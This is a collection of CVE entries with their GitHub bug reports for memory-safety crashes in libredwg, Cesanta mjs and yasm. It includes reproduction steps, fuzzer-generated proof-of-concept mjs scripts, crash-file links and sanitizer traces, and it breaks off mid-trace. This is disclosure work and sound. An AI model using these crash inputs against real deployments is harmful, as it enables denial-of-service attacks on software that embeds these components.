CVE-2023-26157

2024-01-02T05:15:08.160

Versions of the package libredwg before 0.12.5.6384 are vulnerable to Denial of Service (DoS) due to an out-of-bounds read involving section->num_pages in decode_r2007.c.

https://github.com/LibreDWG/libredwg/issues/850

github.com

Hi rurban, Making a quick report on an out-of-bounds read fuzzing crash. I confirmed this with a build using the `--enable-release` flag as well. Release build error: ``` ./programs/dwgread crash.dwg ERROR: Invalid num_pages 7274598, skip ERROR: Invalid section->pages[0] size Warning: Failed to find section_info[1] ERROR: Failed to read header section Warning: Failed to find section_info[3] ERROR: Failed to read class section Warning: Failed to find section_info[7] ERROR: Failed to read objects section Warning: Failed to find section_info[2] ERROR: Preview overflow 119 + 0 > 302223 Warning: thumbnail.size mismatch: 302223 != 0 zsh: segmentation fault ./programs/dwgread ./crash.dwg ``` Debug trace: ``` Program received signal SIGSEGV, Segmentation fault. 0x0000555555810645 in read_data_section (sec_dat=0x7fffffffc1f0, dat=0x7fffffffc880, sections_map=<optimized out>, pages_map=0x555555b0fd50, sec_type=<optimized out>) at decode_r2007.c:840 840 r2007_section_page *section_page = section->pages[i]; (gdb) backtrace #0 0x0000555555810645 in read_data_section (sec_dat=0x7fffffffc1f0, dat=0x7fffffffc880, sections_map=<optimized out>, pages_map=0x555555b0fd50, sec_type=<optimized out>) at decode_r2007.c:840 #1 0x0000555555808d5c in read_2007_section_revhistory (dat=0x7fffffffc880, dwg=0x7fffffffc8c0, sections_map=0x555555b0f410, pages_map=0x555555b0fd50) at decode_r2007.c:2023 #2 read_r2007_meta_data (dat=0x7fffffffc880, hdl_dat=<optimized out>, dwg=0x7fffffffc8c0) at decode_r2007.c:2466 #3 0x00005555555d5279 in decode_R2007 (dat=0x7fffffffc880, dwg=0x7fffffffc8c0) at decode.c:3469 #4 dwg_decode (dat=0x7fffffffc880, dwg=0x7fffffffc8c0) at decode.c:227 #5 0x00005555555be42d in dwg_read_file (filename=<optimized out>, dwg=0x7fffffffc8c0) at dwg.c:261 #6 0x00005555555be42d in main (argc=<optimized out>, argv=0x7fffffffdec8) ``` [crash.dwg.zip](https://github.com/LibreDWG/libredwg/files/12728083/crash.dwg.zip) Thanks!

Out-of-Bound Read in read_data_section in 0.12.5

https://api.github.com/repos/LibreDWG/libredwg/issues/850/comments

2023-09-26T13:28:46Z

2023-10-30T17:06:23Z

https://github.com/LibreDWG/libredwg/issues/850

CVE-2023-49549

2024-01-02T23:15:12.107

An issue in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_getretvalpos function in the msj.c file.

https://github.com/cesanta/mjs/issues/251

github.com

**The name of an affected Product** [mjs](https://github.com/cesanta/mjs) **The affected version** Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) (Tag: [2.20.0](https://github.com/cesanta/mjs/releases/tag/2.20.0)) **Description** An issue in cesanta mjs 2.20.0 allows a remtoe attacker to cause a denial of service via the mjs_getretvalpos function in the mjs.c file. **Vulnerability Type** segmentation violation **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** ```` git clone https://github.com/cesanta/mjs cd mjs git checkout b1b6eac clang -fsanitize=address -DMJS_MAIN mjs.c -o mjs ```` <details> <summary>poc</summary> ```` let i, a = 0, b0= 0, c = 0continu, d0, e = 0; for (i = 8; i < 20; i++) { a let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify+= i; c /= 0, c } 0let s = '08888888888888 true, "d": [null], "e": "1\\n2"}'; let o = JSON.parse(s); let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify(o)AAA ```` </details> run command ```` mjs -f poc ```` **ASAN info** ```` AddressSanitizer:DEADLYSIGNAL ================================================================= ==184==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x7ff84edb0535 bp 0x7ffea0260498 sp 0x7ffea0260498 T0) ==184==The signal is caused by a READ memory access. ==184==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used. #0 0x7ff84edb0535 in vasprintf /build/glibc-CVJwZb/glibc-2.27/libio/vasprintf.c:57 #1 0x7ff84ed8d113 in asprintf /build/glibc-CVJwZb/glibc-2.27/stdio-common/asprintf.c:35 #2 0x7ff84ed58353 in __assert_fail_base /build/glibc-CVJwZb/glibc-2.27/assert/assert.c:57 #3 0x7ff84ed58471 in __assert_fail /build/glibc-CVJwZb/glibc-2.27/assert/assert.c:101 #4 0x4eeb98 in mjs_getretvalpos (/mjs/mjs+0x4eeb98) #5 0x4eebe5 in mjs_arg (/mjs/mjs+0x4eebe5) #6 0x4ec5e8 in mjs_op_json_stringify (/mjs/mjs+0x4ec5e8) #7 0x4ef755 in mjs_exec_internal (/mjs/mjs+0x4ef755) #8 0x4efa40 in mjs_exec_file (/mjs/mjs+0x4efa40) #9 0x4f75b9 in main (/mjs/mjs+0x4f75b9) #10 0x7ff84ed49c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 #11 0x41b7f9 in _start (/mjs/mjs+0x41b7f9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /build/glibc-CVJwZb/glibc-2.27/libio/vasprintf.c:57 in vasprintf ==184==ABORTING ````

SEGV in mjs_getretvalpos

https://api.github.com/repos/cesanta/mjs/issues/251/comments

2023-11-18T12:23:24Z

2023-12-22T02:11:49Z

https://github.com/cesanta/mjs/issues/251

CVE-2023-49550

2024-01-02T23:15:12.167

An issue in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs+0x4ec508 component.

https://github.com/cesanta/mjs/issues/252

github.com

**The name of an affected Product** [mjs](https://github.com/cesanta/mjs) **The affected version** Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) (Tag: [2.20.0](https://github.com/cesanta/mjs/releases/tag/2.20.0)) **Description** An issue in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs+0x4ec508 component. **Vulnerability Type** segmentation violation **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** ```` git clone https://github.com/cesanta/mjs cd mjs git checkout b1b6eac clang -fsanitize=address -DMJS_MAIN mjs.c -o mjs ```` <details> <summary>poc</summary> ```` let i, a = 0, b0= 0, c = 0continu, d0, e = 0; for (i = 8; i < 20; i++) { a let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify-= i; c /= 0, c = 0let s = '08888888888888 true, "x": [null], "e": "1\\n2"}'; let o = JSON.parse(s); let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify(o)AAA ```` </details> run command ```` mjs -f poc ```` **ASAN info** ```` AddressSanitizer:DEADLYSIGNAL ================================================================= ==139==ERROR: AddressSanitizer: SEGV on unknown address 0x0000004ec508 (pc 0x0000004ec508 bp 0x7ffe0c9ce3d0 sp 0x7ffe0c9cdb58 T0) ==139==The signal is caused by a WRITE memory access. #0 0x4ec508 (/mjs/mjs+0x4ec508) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/mjs/mjs+0x4ec508) ==139==ABORTING ````

SEGV (/mjs/mjs+0x4ec508)

https://api.github.com/repos/cesanta/mjs/issues/252/comments

2023-11-18T14:18:44Z

2023-12-22T02:14:36Z

https://github.com/cesanta/mjs/issues/252

CVE-2023-49551

2024-01-02T23:15:12.233

An issue in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_op_json_parse function in the msj.c file.

https://github.com/cesanta/mjs/issues/257

github.com

**The name of an affected Product** [mjs](https://github.com/cesanta/mjs) **The affected version** Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) (Tag: [2.20.0](https://github.com/cesanta/mjs/releases/tag/2.20.0)) **Description** An issue in cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_op_json_parse function in the mjs.c file. **Vulnerability Type** segmentation violation **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** download [poc.zip](https://github.com/cesanta/mjs/files/13466407/poc.zip), then ```` git clone https://github.com/cesanta/mjs cd mjs git checkout b1b6eac clang -ggdb -O0 -DMJS_MAIN mjs.c -o mjs -ldl unzip poc.zip # run command ./mjs -f poc ```` **ASAN Info** ```` AddressSanitizer:DEADLYSIGNAL ================================================================= ==426==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004ec7f2 bp 0x7ffe719b3d70 sp 0x7ffe719b34f8 T0) ==426==The signal is caused by a READ memory access. ==426==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used. #0 0x4ec7f2 in mjs_op_json_parse /mjs/mjs.c:11364 #1 0x4ef755 in mjs_exec_internal /mjs/mjs.c:9044:5 #2 0x4efa40 in mjs_exec_file /mjs/mjs.c:9067:11 #3 0x4f787f in main /mjs/mjs.c:11423:11 #4 0x7fd0e0cd8c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41b7f9 in _start (/mjs/mjs+0x41b7f9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /mjs/mjs.c:11364 in mjs_op_json_parse ==426==ABORTING ````

SEGV in mjs_op_json_parse() at mjs.c:11364

https://api.github.com/repos/cesanta/mjs/issues/257/comments

2023-11-26T09:51:38Z

2023-12-22T02:39:20Z

https://github.com/cesanta/mjs/issues/257

CVE-2023-49552

2024-01-02T23:15:12.290

An Out of Bounds Write in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_op_json_stringify function in the msj.c file.

https://github.com/cesanta/mjs/issues/256

github.com

**The name of an affected Product** [mjs](https://github.com/cesanta/mjs) **The affected version** Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) (Tag: [2.20.0](https://github.com/cesanta/mjs/releases/tag/2.20.0)) **Description** An issue in cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_op_json_stringify function in the mjs.c file. **Vulnerability Type** Out-of-bounds Write **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** download [poc.zip](https://github.com/cesanta/mjs/files/13466217/poc.zip), then ```` git clone https://github.com/cesanta/mjs cd mjs git checkout b1b6eac clang -ggdb -O0 -DMJS_MAIN mjs.c -o mjs -ldl unzip poc.zip # run command ./mjs -f poc ```` **ASAN Info** ```` AddressSanitizer:DEADLYSIGNAL ================================================================= ==141==ERROR: AddressSanitizer: stack-overflow on address 0x0000c40cc508 (pc 0x0000004ec73d bp 0x7fffc40cc510 sp 0x0000c40cc508 T0) #0 0x4ec73d in mjs_op_json_stringify /mjs/mjs.c:11362:1 #1 0x4ef755 in mjs_exec_internal /mjs/mjs.c:9044:5 #2 0x4efa40 in mjs_exec_file /mjs/mjs.c:9067:11 #3 0x4f75b9 in main /mjs/mjs.c:11406:13 #4 0x7fbe53915c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41b7f9 in _start (/mjs/mjs+0x41b7f9) SUMMARY: AddressSanitizer: stack-overflow /mjs/mjs.c:11362:1 in mjs_op_json_stringify ==141==ABORTING ````

stack-overflow in mjs_op_json_stringify() at mjs.c:11362

https://api.github.com/repos/cesanta/mjs/issues/256/comments

2023-11-26T08:00:13Z

2023-12-22T02:21:04Z

https://github.com/cesanta/mjs/issues/256

CVE-2023-49553

2024-01-02T23:15:12.333

An issue in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_destroy function in the msj.c file.

https://github.com/cesanta/mjs/issues/253

github.com

**The name of an affected Product** [mjs](https://github.com/cesanta/mjs) **The affected version** Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) (Tag: [2.20.0](https://github.com/cesanta/mjs/releases/tag/2.20.0)) **Description** An issue in cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_destroy function in the mjs.c file. **Vulnerability Type** Segmentation fault on program counter **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** ```` git clone https://github.com/cesanta/mjs cd mjs git checkout b1b6eac clang -ggdb -O0 -DMJS_MAIN mjs.c -o mjs -ldl ```` <details> <summary>poc</summary> ```` let i, a = 0, b0= 0, c = 0continu, d0, e = 0; for (i = 8; i < 20; i++) { a let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify+=888 i; c /= 0, c = 0let s = '08888888888888 true, "d": [null], "e": "1\\n2"}'; let o = JSON.parse(s); let z = JSON.parse('""'); // Zlength string let s2 = JSON.stringify(o)AAA ```` </details> run command ```` mjs -f poc ```` **gdb info** ```` Program terminated with signal SIGSEGV, Segmentation fault. #0 0x000000000040c168 in mjs_destroy (mjs=0x1db2260) at mjs.c:7563 7563 mbuf_free(&mjs->json_visited_stack); (gdb) bt #0 0x000000000040c168 in mjs_destroy (mjs=0x1db2260) at mjs.c:7563 #1 0x000000000040d413 in mjs_exec_internal (mjs=0x1db2260, path=0x7ffd203438b4 "/cve/mjs_latest/pending3/id:000167,sig:06,src:003368,time:694819496,execs:215291083,op:havoc,rep:1", src=0x1db3cb0 "let i, a = 0, b0= 0, c = 0continu, d0, e = 0;\n\nfor (i = 8; i < 20; i++) {\n a let z = JSON.parse('\"\"'); // Zlength string\nlet s2 = JSON.stringify+=888 i;\nc /= 0, c = 0let s = '0", '8' <repeats 13 times>, " true,"..., generate_jsc=0, res=0x7ffd20341a58) at mjs.c:9044 #2 0x000000000040d4d5 in mjs_exec_file (mjs=0x1db2260, path=0x7ffd203438b4 "/cve/mjs_latest/pending3/id:000167,sig:06,src:003368,time:694819496,execs:215291083,op:havoc,rep:1", res=0x7ffd20341aa0) at mjs.c:9067 #3 0x000000000041082e in main (argc=3, argv=0x7ffd20341ba8) at mjs.c:11406 (gdb) list 7558 mbuf_free(&mjs->owned_strings); 7559 mbuf_free(&mjs->foreign_strings); 7560 mbuf_free(&mjs->owned_values); 7561 mbuf_free(&mjs->scopes); 7562 mbuf_free(&mjs->loop_addresses); 7563 mbuf_free(&mjs->json_visited_stack); 7564 free(mjs->error_msg); 7565 free(mjs->stack_trace); 7566 mjs_ffi_args_free_list(mjs); 7567 gc_arena_destroy(mjs, &mjs->object_arena); ````

SegFaultOnPc in mjs_destroy() at mjs.c:7563

https://api.github.com/repos/cesanta/mjs/issues/253/comments

2023-11-19T09:05:58Z

2023-12-22T02:22:19Z

https://github.com/cesanta/mjs/issues/253

CVE-2023-49554

2024-01-03T00:15:08.987

Use After Free vulnerability in YASM 1.3.0.86.g9def allows a remote attacker to cause a denial of service via the do_directive function in the modules/preprocs/nasm/nasm-pp.c component.

https://github.com/yasm/yasm/issues/249

github.com

**The name of an affected Product** [yasm](https://github.com/yasm/yasm) **The affected version** Commit: [9defefa](https://github.com/yasm/yasm/commit/9defefae9fbcb6958cddbfa778c1ea8605da8b8b) yasm 1.3.0.86.g9def **Description** An issue in yasm 1.3.0.86.g9def allows a attacker to cause a denial of service via the do_directive function in the modules/preprocs/nasm/nasm-pp.c component. **Vulnerability Type** Use After Free **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** download [poc.zip](https://github.com/yasm/yasm/files/13415757/poc.zip), then ```` git clone https://github.com/yasm/yasm cd yasm git checkout 9defefa ./autogen.sh make distclean CC=clang \ CXX=clang++ \ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ ./configure make -j $(nproc) unzip poc.zip # run command ./yasm poc ```` **ASAN info** ```` yasm: file name already has no extension: output will be in `yasm.out' ================================================================= ==4513==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000011f0 at pc 0x00000056e946 bp 0x7fff5a439c10 sp 0x7fff5a439c08 READ of size 4 at 0x60e0000011f0 thread T0 #0 0x56e945 in do_directive /yasm/modules/preprocs/nasm/nasm-pp.c:2389:38 #1 0x5685dc in pp_getline /yasm/modules/preprocs/nasm/nasm-pp.c:5084:13 #2 0x56151b in nasm_preproc_get_line /yasm/modules/preprocs/nasm/nasm-preproc.c:203:12 #3 0x551395 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:219:13 #4 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5 #5 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5 #6 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5 #7 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12 #8 0x7f7cd4d0dc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41b9c9 in _start (/yasm/yasm+0x41b9c9) 0x60e0000011f0 is located 48 bytes inside of 160-byte region [0x60e0000011c0,0x60e000001260) freed by thread T0 here: #0 0x496622 in free (/yasm/yasm+0x496622) #1 0x515814 in def_xfree /yasm/libyasm/xmalloc.c:113:5 #2 0x56a089 in free_mmacro /yasm/modules/preprocs/nasm/nasm-pp.c:1163:5 #3 0x567bc7 in pp_getline /yasm/modules/preprocs/nasm/nasm-pp.c:5010:25 #4 0x56151b in nasm_preproc_get_line /yasm/modules/preprocs/nasm/nasm-preproc.c:203:12 #5 0x551395 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:219:13 #6 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5 #7 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5 #8 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5 #9 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12 #10 0x7f7cd4d0dc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 previously allocated by thread T0 here: #0 0x49688d in malloc (/yasm/yasm+0x49688d) #1 0x5156c7 in def_xmalloc /yasm/libyasm/xmalloc.c:69:14 #2 0x57649d in do_directive /yasm/modules/preprocs/nasm/nasm-pp.c:3212:24 #3 0x5685dc in pp_getline /yasm/modules/preprocs/nasm/nasm-pp.c:5084:13 #4 0x56151b in nasm_preproc_get_line /yasm/modules/preprocs/nasm/nasm-preproc.c:203:12 #5 0x551395 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:219:13 #6 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5 #7 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5 #8 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5 #9 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12 #10 0x7f7cd4d0dc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-use-after-free /yasm/modules/preprocs/nasm/nasm-pp.c:2389:38 in do_directive Shadow bytes around the buggy address: 0x0c1c7fff81e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1c7fff81f0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c1c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1c7fff8210: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00 0x0c1c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c1c7fff8230: fa fa fa fa fa fa fa fa fd fd fd fd fd fd[fd]fd 0x0c1c7fff8240: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c1c7fff8250: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1c7fff8260: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c1c7fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1c7fff8280: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4513==ABORTING ````

heap-use-after-free in the function do_directive() at modules/preprocs/nasm/nasm-pp.c:2389

https://api.github.com/repos/yasm/yasm/issues/249/comments

2023-11-20T14:16:57Z

2024-01-03T11:22:46Z

https://github.com/yasm/yasm/issues/249

CVE-2023-49555

2024-01-03T00:15:09.047

An issue in YASM 1.3.0.86.g9def allows a remote attacker to cause a denial of service via the expand_smacro function in the modules/preprocs/nasm/nasm-pp.c component.

https://github.com/yasm/yasm/issues/248

github.com

**The name of an affected Product** [yasm](https://github.com/yasm/yasm) **The affected version** Commit: [9defefa](https://github.com/yasm/yasm/commit/9defefae9fbcb6958cddbfa778c1ea8605da8b8b) yasm 1.3.0.86.g9def **Description** An issue in yasm 1.3.0.86.g9def allows a attacker to cause a denial of service via the expand_smacro function in the modules/preprocs/nasm/nasm-pp.c component. **Vulnerability Type** segmentation violation **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** download [poc.zip](https://github.com/yasm/yasm/files/13415602/poc.zip), then ```` git clone https://github.com/yasm/yasm cd yasm git checkout 9defefa ./autogen.sh make distclean CC=clang \ CXX=clang++ \ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ ./configure make -j $(nproc) unzip poc.zip # run command ./yasm poc ```` **ASAN info** ```` yasm: file name already has no extension: output will be in `yasm.out' AddressSanitizer:DEADLYSIGNAL ================================================================= ==4495==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000018 (pc 0x00000057e43b bp 0x7ffd326b7640 sp 0x7ffd326b6e40 T0) ==4495==The signal is caused by a READ memory access. ==4495==Hint: address points to the zero page. #0 0x57e43b in expand_smacro /yasm/modules/preprocs/nasm/nasm-pp.c:4357:63 #1 0x5689f0 in pp_getline /yasm/modules/preprocs/nasm/nasm-pp.c:5128:21 #2 0x56151b in nasm_preproc_get_line /yasm/modules/preprocs/nasm/nasm-preproc.c:203:12 #3 0x551395 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:219:13 #4 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5 #5 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5 #6 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5 #7 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12 #8 0x7f229c330c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41b9c9 in _start (/yasm/yasm+0x41b9c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /yasm/modules/preprocs/nasm/nasm-pp.c:4357:63 in expand_smacro ==4495==ABORTING ````

SEGV in the function expand_smacro() at modules/preprocs/nasm/nasm-pp.c:4357

https://api.github.com/repos/yasm/yasm/issues/248/comments

2023-11-20T14:03:30Z

2024-01-04T10:06:59Z

https://github.com/yasm/yasm/issues/248

CVE-2023-49556

2024-01-03T00:15:09.090

Buffer Overflow vulnerability in YASM 1.3.0.86.g9def allows a remote attacker to cause a denial of service via the expr_delete_term function in the libyasm/expr.c component.

https://github.com/yasm/yasm/issues/250

github.com

**The name of an affected Product** [yasm](https://github.com/yasm/yasm) **The affected version** Commit: [9defefa](https://github.com/yasm/yasm/commit/9defefae9fbcb6958cddbfa778c1ea8605da8b8b) yasm 1.3.0.86.g9def **Description** An issue in yasm 1.3.0.86.g9def allows a attacker to cause a denial of service via the expr_delete_term function in the libyasm/expr.c component. **Vulnerability Type** Buffer Overflow **Environment** - Operating System ```` Distributor ID: Ubuntu Description: Ubuntu 18.04.6 LTS Release: 18.04 Codename: bionic ```` - Compiler ```` Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11 Target: x86_64-pc-linux-gnu Thread model: posix ```` **Steps to Reproduce** download [poc.zip](https://github.com/yasm/yasm/files/13415866/poc.zip), then ```` git clone https://github.com/yasm/yasm cd yasm git checkout 9defefa ./autogen.sh make distclean CC=clang \ CXX=clang++ \ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ ./configure make -j $(nproc) unzip poc.zip # run command ./yasm poc ```` **ASAN info** ```` yasm: file name already has no extension: output will be in `yasm.out' ================================================================= ==4526==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000022498 at pc 0x00000062409c bp 0x7ffe67167c80 sp 0x7ffe67167c78 READ of size 4 at 0x606000022498 thread T0 #0 0x62409b in expr_delete_term /yasm/libyasm/expr.c:1019:19 #1 0x6239e8 in expr_simplify_identity /yasm/libyasm/expr.c:582:17 #2 0x61cdde in expr_level_op /yasm/libyasm/expr.c:792:23 #3 0x61e5e1 in expr_level_tree /yasm/libyasm/expr.c:881:9 #4 0x61e290 in expr_level_tree /yasm/libyasm/expr.c:865:17 #5 0x61e290 in expr_level_tree /yasm/libyasm/expr.c:865:17 #6 0x61d892 in yasm_expr__level_tree /yasm/libyasm/expr.c:907:9 #7 0x620539 in yasm_expr_get_intnum /yasm/libyasm/expr.c:1265:11 #8 0x612914 in yasm_bc_create_data /yasm/libyasm/bc-data.c:357:24 #9 0x5561cb in parse_exp /yasm/modules/parsers/nasm/nasm-parse.c:669:20 #10 0x551e07 in parse_line /yasm/modules/parsers/nasm/nasm-parse.c:289:10 #11 0x5516e8 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:231:18 #12 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5 #13 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5 #14 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5 #15 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12 #16 0x7f5599036c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 #17 0x41b9c9 in _start (/yasm/yasm+0x41b9c9) 0x606000022498 is located 0 bytes to the right of 56-byte region [0x606000022460,0x606000022498) allocated by thread T0 here: #0 0x496ba9 in realloc (/yasm/yasm+0x496ba9) #1 0x5157bc in def_xrealloc /yasm/libyasm/xmalloc.c:101:18 #2 0x61c515 in expr_level_op /yasm/libyasm/expr.c:738:9 #3 0x61e5e1 in expr_level_tree /yasm/libyasm/expr.c:881:9 #4 0x61e290 in expr_level_tree /yasm/libyasm/expr.c:865:17 #5 0x61e290 in expr_level_tree /yasm/libyasm/expr.c:865:17 #6 0x61d892 in yasm_expr__level_tree /yasm/libyasm/expr.c:907:9 #7 0x620539 in yasm_expr_get_intnum /yasm/libyasm/expr.c:1265:11 #8 0x612914 in yasm_bc_create_data /yasm/libyasm/bc-data.c:357:24 #9 0x5561cb in parse_exp /yasm/modules/parsers/nasm/nasm-parse.c:669:20 #10 0x551e07 in parse_line /yasm/modules/parsers/nasm/nasm-parse.c:289:10 #11 0x5516e8 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:231:18 #12 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5 #13 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5 #14 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5 #15 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12 #16 0x7f5599036c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow /yasm/libyasm/expr.c:1019:19 in expr_delete_term Shadow bytes around the buggy 